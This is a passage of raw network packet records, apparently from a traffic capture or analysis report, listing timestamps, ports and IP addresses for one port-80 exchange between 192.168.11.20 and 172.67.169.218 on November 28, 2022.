Nov 28, 2022 20:45:13.486892939 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.486917973 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.487062931 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.487062931 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.487101078 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.487242937 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.487266064 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.487390041 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493123055 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493196011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493252039 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493308067 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493330002 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493402004 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493411064 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493490934 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493489981 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493570089 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493627071 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493654013 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493712902 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493735075 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493799925 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493817091 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.493887901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493951082 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.493983984 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494029045 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494038105 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494112968 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494116068 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494188070 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494195938 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494271994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494297028 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494349957 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494359970 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494431973 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494441032 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494522095 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494522095 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494599104 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494621992 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494683981 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494683981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494755030 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494764090 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494836092 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.494846106 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494924068 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.494946003 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495007038 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495007992 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495079994 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495080948 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495158911 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495171070 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495266914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495273113 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495321989 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495357990 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495421886 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495426893 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495501995 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495502949 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495580912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495603085 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495663881 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495666027 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495743036 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495745897 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495821953 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495826006 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495901108 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495925903 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.495976925 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.495989084 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.496071100 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.496216059 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.509406090 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509510040 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509571075 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509630919 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509694099 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509704113 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.509756088 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.509790897 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509813070 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.509891987 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509900093 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.509978056 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.509999990 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510066986 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510067940 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510139942 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510159016 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510222912 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510243893 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510323048 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510330915 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510401011 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510411024 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510483027 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510492086 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510567904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510624886 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510648012 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510694981 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510714054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510780096 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510793924 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510842085 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.510885954 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510951042 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.510971069 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511034966 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511051893 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511117935 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511132956 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511200905 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511259079 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511292934 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511334896 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511373997 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511399031 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511456013 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511476994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511553049 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511607885 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511629105 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511676073 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511696100 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511733055 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511790991 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511823893 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511876106 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511940956 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.511940956 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.511989117 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512027979 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512057066 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512118101 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512147903 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512204885 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512264967 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512274981 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512319088 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512382030 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512406111 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512474060 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512489080 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512562037 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512569904 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512646914 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512651920 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512727976 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512732983 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512806892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512864113 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512904882 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.512932062 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.512953997 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513020992 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513041019 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513107061 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513130903 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513192892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513227940 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513273954 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513292074 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513359070 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513374090 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513442039 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513454914 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513523102 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513551950 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513603926 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513611078 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513684988 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513685942 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513768911 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513770103 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513789892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513804913 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513817072 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513830900 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513845921 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513859987 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513866901 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513883114 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513899088 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513914108 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513915062 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513935089 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513951063 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513964891 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513979912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.513993025 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.513995886 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514014959 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514029980 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514045000 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514058113 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514065027 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.514081001 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514096975 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514111996 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514123917 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514137983 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514148951 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514173031 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.514223099 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514245033 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.514313936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514328957 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514380932 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.514472961 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.514514923 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.514578104 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.515167952 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515292883 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515311956 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515317917 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.515337944 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515355110 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515369892 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515383959 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515398979 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515413046 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515428066 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515439987 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.515441895 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.515531063 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.515636921 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.516129971 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516201019 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516254902 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516269922 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516279936 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.516290903 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516319036 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516335011 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516370058 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516442060 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.516468048 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.516511917 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516540051 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.516587973 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516601086 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.516746998 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.517486095 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517591000 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517606974 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517621994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517637014 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517648935 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517673969 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517674923 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.517736912 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517750025 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517764091 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.517844915 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.517967939 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517983913 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.517998934 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.517999887 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.518021107 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.518034935 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.518116951 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.518213987 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.530299902 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530381918 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530442953 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530483007 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.530524969 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530603886 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530621052 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.530693054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530697107 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.530776024 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530777931 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.530858040 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530920982 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.530941963 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531013966 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531023979 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531066895 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531116009 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531194925 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531218052 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531280994 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531297922 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531367064 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531368017 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531440020 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531449080 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531522989 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531569958 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531589985 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531640053 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531640053 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531673908 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531735897 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531754971 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531790972 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531843901 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531908989 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531929016 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.531991959 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.531997919 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532074928 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532078981 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532155037 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532216072 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532260895 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532274961 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532342911 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532392979 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532408953 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532470942 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532493114 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532567978 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532589912 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532640934 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532659054 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532727003 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532735109 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532808065 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532813072 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532887936 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.532917023 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532968998 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.532974005 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.533041954 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.533045053 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.533232927 CET	49811	80	192.168.11.20	172.67.169.218
Nov 28, 2022 20:45:13.533931971 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534051895 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534113884 CET	80	49811	172.67.169.218	192.168.11.20
Nov 28, 2022 20:45:13.534168959 CET	49811	80	192.168.11.20	172.67.169.218
